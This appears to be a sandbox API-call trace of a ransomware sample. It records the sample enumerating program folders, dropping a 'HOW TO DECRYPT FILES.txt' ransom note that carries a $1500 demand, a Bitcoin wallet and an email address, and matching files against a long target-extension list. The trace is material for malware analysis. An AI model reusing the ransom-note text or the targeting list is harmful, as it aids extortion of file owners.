[0059.558] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.558] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.558] lstrcmpA (lpString1=".", lpString2="ARFR") returned -1 [0059.558] lstrcmpA (lpString1="..", lpString2="ARFR") returned -1 [0059.558] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\", lpString2="ARFR" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR" [0059.558] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa4e0, dwReserved1=0x4fa4db, cFileName=".", cAlternateFileName="")) returned 0x4f81e8 [0059.562] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.562] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.562] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.562] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\" [0059.562] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\") returned="" [0059.563] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\HOW TO DECRYPT FILES.txt" [0059.563] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\how to decrypt files.txt")) returned 0xffffffff [0059.563] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0059.563] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0059.563] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0059.564] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.564] CloseHandle (hObject=0x90) returned 1 [0059.565] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\", lpString2="MSB1ARFR.ITS" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS" [0059.565] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.ems") returned 0 [0059.565] lstrlenA (lpString="*.ems") returned 5 [0059.565] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.db") returned 0 [0059.565] lstrlenA (lpString="*.db") returned 4 [0059.565] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.dbf") returned 0 [0059.565] lstrlenA (lpString="*.dbf") returned 5 [0059.565] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.myox") returned 0 [0059.565] lstrlenA (lpString="*.myox") returned 6 [0059.565] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.myo") returned 0 [0059.565] lstrlenA (lpString="*.myo") returned 5 [0059.565] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.qbw") returned 0 [0059.565] lstrlenA (lpString="*.qbw") returned 5 [0059.565] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.qbb") returned 0 [0059.565] lstrlenA (lpString="*.qbb") returned 5 [0059.565] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.qbm") returned 0 [0059.565] lstrlenA (lpString="*.qbm") returned 5 [0059.565] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.qbo") returned 0 [0059.565] lstrlenA (lpString="*.qbo") returned 5 [0059.565] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.qbx") returned 0 [0059.566] lstrlenA (lpString="*.qbx") returned 5 [0059.566] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.qba") returned 0 [0059.566] lstrlenA (lpString="*.qba") returned 5 [0059.566] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.qby") returned 0 [0059.567] lstrlenA (lpString="*.qby") returned 5 [0059.567] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.qbj") returned 0 [0059.567] lstrlenA (lpString="*.qbj") returned 5 [0059.567] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.ofx") returned 0 [0059.567] lstrlenA (lpString="*.ofx") returned 5 [0059.567] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.qif") returned 0 [0059.567] lstrlenA (lpString="*.qif") returned 5 [0059.567] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.mye") returned 0 [0059.567] lstrlenA (lpString="*.mye") returned 5 [0059.567] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.mbox") returned 0 [0059.567] lstrlenA (lpString="*.mbox") returned 6 [0059.567] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.eml") returned 0 [0059.567] lstrlenA (lpString="*.eml") returned 5 [0059.567] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.pst") returned 0 [0059.567] lstrlenA (lpString="*.pst") returned 5 [0059.567] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.ost") returned 0 [0059.567] lstrlenA (lpString="*.ost") returned 5 [0059.567] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.idx") returned 0 [0059.567] lstrlenA (lpString="*.idx") returned 5 [0059.567] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.dbx") returned 0 [0059.567] lstrlenA (lpString="*.dbx") returned 5 [0059.567] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.sql") returned 0 [0059.567] lstrlenA (lpString="*.sql") returned 5 [0059.567] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.mdb") returned 0 [0059.568] lstrlenA (lpString="*.mdb") returned 5 [0059.568] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.fdb") returned 0 [0059.568] lstrlenA (lpString="*.fdb") returned 5 [0059.568] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.wab") returned 0 [0059.568] lstrlenA (lpString="*.wab") returned 5 [0059.568] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.dat") returned 0 [0059.568] lstrlenA (lpString="*.dat") returned 5 [0059.568] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.txt") returned 0 [0059.568] lstrlenA (lpString="*.txt") returned 5 [0059.568] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.jpeg") returned 0 [0059.568] lstrlenA (lpString="*.jpeg") returned 6 [0059.568] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.jpg") returned 0 [0059.568] lstrlenA (lpString="*.jpg") returned 5 [0059.568] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.png") returned 0 [0059.568] lstrlenA (lpString="*.png") returned 5 [0059.568] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.php") returned 0 [0059.568] lstrlenA (lpString="*.php") returned 5 [0059.568] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.cs") returned 0 [0059.568] lstrlenA (lpString="*.cs") returned 4 [0059.568] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.cpp") returned 0 [0059.568] lstrlenA (lpString="*.cpp") returned 5 [0059.568] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.rar") returned 0 [0059.568] lstrlenA (lpString="*.rar") returned 5 [0059.568] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.zip") returned 0 [0059.568] lstrlenA (lpString="*.zip") returned 5 [0059.568] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.html") returned 0 [0059.568] lstrlenA (lpString="*.html") returned 6 [0059.568] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.htm") returned 0 [0059.569] lstrlenA (lpString="*.htm") returned 5 [0059.569] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.xlsx") returned 0 [0059.569] lstrlenA (lpString="*.xlsx") returned 6 [0059.569] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.xls") returned 0 [0059.569] lstrlenA (lpString="*.xls") returned 5 [0059.569] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.mp4") returned 0 [0059.569] lstrlenA (lpString="*.mp4") returned 5 [0059.569] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.ppt") returned 0 [0059.569] lstrlenA (lpString="*.ppt") returned 5 [0059.569] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.pptx") returned 0 [0059.569] lstrlenA (lpString="*.pptx") returned 6 [0059.569] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.doc") returned 0 [0059.569] lstrlenA (lpString="*.doc") returned 5 [0059.569] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.dot") returned 0 [0059.569] lstrlenA (lpString="*.dot") returned 5 [0059.569] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.docx") returned 0 [0059.569] lstrlenA (lpString="*.docx") returned 6 [0059.569] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.7z") returned 0 [0059.569] lstrlenA (lpString="*.7z") returned 4 [0059.569] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.tar") returned 0 [0059.569] lstrlenA (lpString="*.tar") returned 5 [0059.569] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.bz2") returned 0 [0059.569] lstrlenA (lpString="*.bz2") returned 5 [0059.569] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.gz") returned 0 [0059.569] lstrlenA (lpString="*.gz") returned 4 [0059.569] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.mkv") returned 0 [0059.569] lstrlenA (lpString="*.mkv") returned 5 [0059.569] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.eml") returned 0 [0059.569] lstrlenA (lpString="*.eml") returned 5 [0059.570] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.msg") returned 0 [0059.570] lstrlenA (lpString="*.msg") returned 5 [0059.570] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.edb") returned 0 [0059.570] lstrlenA (lpString="*.edb") returned 5 [0059.570] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.accdb") returned 0 [0059.570] lstrlenA (lpString="*.accdb") returned 7 [0059.570] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.odb") returned 0 [0059.570] lstrlenA (lpString="*.odb") returned 5 [0059.570] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.java") returned 0 [0059.570] lstrlenA (lpString="*.java") returned 6 [0059.570] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.asm") returned 0 [0059.570] lstrlenA (lpString="*.asm") returned 5 [0059.570] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.pfx") returned 0 [0059.570] lstrlenA (lpString="*.pfx") returned 5 [0059.570] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.pem") returned 0 [0059.570] lstrlenA (lpString="*.pem") returned 5 [0059.570] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.p12") returned 0 [0059.570] lstrlenA (lpString="*.p12") returned 5 [0059.570] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.gpg") returned 0 [0059.570] lstrlenA (lpString="*.gpg") returned 5 [0059.570] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.vsd") returned 0 [0059.570] lstrlenA (lpString="*.vsd") returned 5 [0059.570] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.odg") returned 0 [0059.570] lstrlenA (lpString="*.odg") returned 5 [0059.570] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.raw") returned 0 [0059.570] lstrlenA (lpString="*.raw") returned 5 [0059.570] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.nef") returned 0 [0059.570] lstrlenA (lpString="*.nef") returned 5 [0059.570] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.svg") returned 0 [0059.571] lstrlenA (lpString="*.svg") returned 5 [0059.571] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.psd") returned 0 [0059.571] lstrlenA (lpString="*.psd") returned 5 [0059.571] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.vmx") returned 0 [0059.571] lstrlenA (lpString="*.vmx") returned 5 [0059.571] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.vmdk") returned 0 [0059.571] lstrlenA (lpString="*.vmdk") returned 6 [0059.571] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.vdi") returned 0 [0059.571] lstrlenA (lpString="*.vdi") returned 5 [0059.571] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.lay6") returned 0 [0059.571] lstrlenA (lpString="*.lay6") returned 6 [0059.571] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.mpeg") returned 0 [0059.571] lstrlenA (lpString="*.mpeg") returned 6 [0059.571] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.djvu") returned 0 [0059.571] lstrlenA (lpString="*.djvu") returned 6 [0059.571] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.tiff") returned 0 [0059.571] lstrlenA (lpString="*.tiff") returned 6 [0059.571] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.backup") returned 0 [0059.571] lstrlenA (lpString="*.backup") returned 8 [0059.571] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.pdf") returned 0 [0059.571] lstrlenA (lpString="*.pdf") returned 5 [0059.571] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.cert") returned 0 [0059.571] lstrlenA (lpString="*.cert") returned 6 [0059.571] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.docm") returned 0 [0059.571] lstrlenA (lpString="*.docm") returned 6 [0059.571] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.xlsm") returned 0 [0059.571] lstrlenA (lpString="*.xlsm") returned 6 [0059.571] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.dwg") returned 0 [0059.571] lstrlenA (lpString="*.dwg") returned 5 [0059.572] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.nd") returned 0 [0059.572] lstrlenA (lpString="*.nd") returned 4 [0059.572] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.tlg") returned 0 [0059.572] lstrlenA (lpString="*.tlg") returned 5 [0059.572] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.lgb") returned 0 [0059.572] lstrlenA (lpString="*.lgb") returned 5 [0059.572] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.mov") returned 0 [0059.572] lstrlenA (lpString="*.mov") returned 5 [0059.572] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.xdw") returned 0 [0059.572] lstrlenA (lpString="*.xdw") returned 5 [0059.572] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.ods") returned 0 [0059.572] lstrlenA (lpString="*.ods") returned 5 [0059.572] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.wav") returned 0 [0059.572] lstrlenA (lpString="*.wav") returned 5 [0059.572] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.mp3") returned 0 [0059.572] lstrlenA (lpString="*.mp3") returned 5 [0059.572] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.aiff") returned 0 [0059.572] lstrlenA (lpString="*.aiff") returned 6 [0059.572] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.flac") returned 0 [0059.572] lstrlenA (lpString="*.flac") returned 6 [0059.572] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.m4a") returned 0 [0059.572] lstrlenA (lpString="*.m4a") returned 5 [0059.572] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", pszSpec="*.csv") returned 0 [0059.572] lstrlenA (lpString="*.csv") returned 5 [0059.572] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*.*") returned="*.*" [0059.573] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\", lpString2="ENES" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES" [0059.573] lstrlenA (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES") returned 60 [0059.573] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f8508, cFileName=".", cAlternateFileName="")) returned 0x4f81e8 [0059.574] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0059.574] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xeed1e, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="MSB1ENES.ITS", cAlternateFileName="")) returned 1 [0059.574] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.574] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", 